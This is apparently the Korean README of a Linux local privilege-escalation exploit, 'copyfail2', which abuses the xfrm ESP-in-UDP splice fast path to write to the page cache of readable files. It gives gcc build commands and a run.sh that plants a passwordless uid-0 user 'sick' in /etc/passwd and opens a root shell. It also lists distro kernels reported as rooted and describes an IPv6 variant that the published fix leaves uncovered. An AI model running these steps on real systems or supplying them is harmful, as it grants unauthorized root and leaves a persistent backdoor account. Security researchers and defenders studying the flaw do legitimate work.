
xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW 고속 경로를 악용하여 /etc/passwd를 덮어쓰고 root 권한을 획득하는 비특권 Linux 로컬 권한 상승 익스플로잇.
xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW fast path를 통한 비권한 Linux LPE. 읽을 수 있는 모든 파일에 대한 page-cache 쓰기. /etc/passwd의 nologin 줄을 sick::0:0:...:/:/bin/bash로 덮어쓰고 su로 진입한다. Copy Fail (CVE-2026-31431)과 같은 부류지만 다른 서브시스템이다.
sudo apt install -y libssl-dev gcc
gcc -O2 -Wall copyfail2.c -o copyfail2 -lcrypto
gcc -O2 -Wall aa-rootns.c -o aa-rootns
./run.sh # 설치 + root 셸 진입
./run.sh --clean # 동일한 프리미티브로 /etc/passwd 복원
비밀번호 없는 uid-0 사용자 sick를 /etc/passwd에 추가한 뒤 exec su - sick를 실행한다. PAM nullok이 빈 비밀번호를 조용히 허용하므로 입력이 필요 없다. sick 줄은 /etc/passwd에 남아 있으므로 재실행하면 곧바로 root로 진입한다. --clean용 상태는 /var/tmp/.cf2.state에 저장된다.
sudo 불필요. esp4 / xfrm_user / xfrm_algo는 userns netlink 경로를 통해 자동 로드된다.
| distro | kernel | result |
|---|---|---|
| Ubuntu 22.04 LTS | 5.15.0-176-generic | not vulnerable* |
| Ubuntu 24.04 LTS | 6.8.0-110-generic | root |
| Debian 13 | 6.12.74 | root |
| Arch | 6.19.11-arch1-1 | root |
| Fedora 43 | 6.19.14-200.fc43 | root |
| Ubuntu 26.04 LTS | 7.0.0-15-generic | root |
동일한 버그가 esp6_input에도 존재하며 v4 수정 f4c50a4034로는 커버되지 않는다. PoC는 ipv6/에 있다: ipv6/run.sh 및 ipv6/copyfail2v6.c. ::1 루프백과 ip -6 xfrm을 사용한다. ESP 패킷은 xfrm6_input.c:124의 크기 게이트를 통과하기 위해 >= 40 바이트로 패딩된다.
Hyunwoo Kim (imv4bel)과 Kuan-Ting Chen이 보고, 테스트하고, 업스트림 수정을 작성했다.
Steffen Klassert: IPsec 메인테이너, netdev/net.git에 수정을 게시했다.
Brad Spengler (@spendergrsec / grsecurity): 누구보다 먼저 이 커밋을 읽고 copyfail급이라고 지적했다.
Theori / Xint: 원본 Copy Fail (CVE-2026-31431).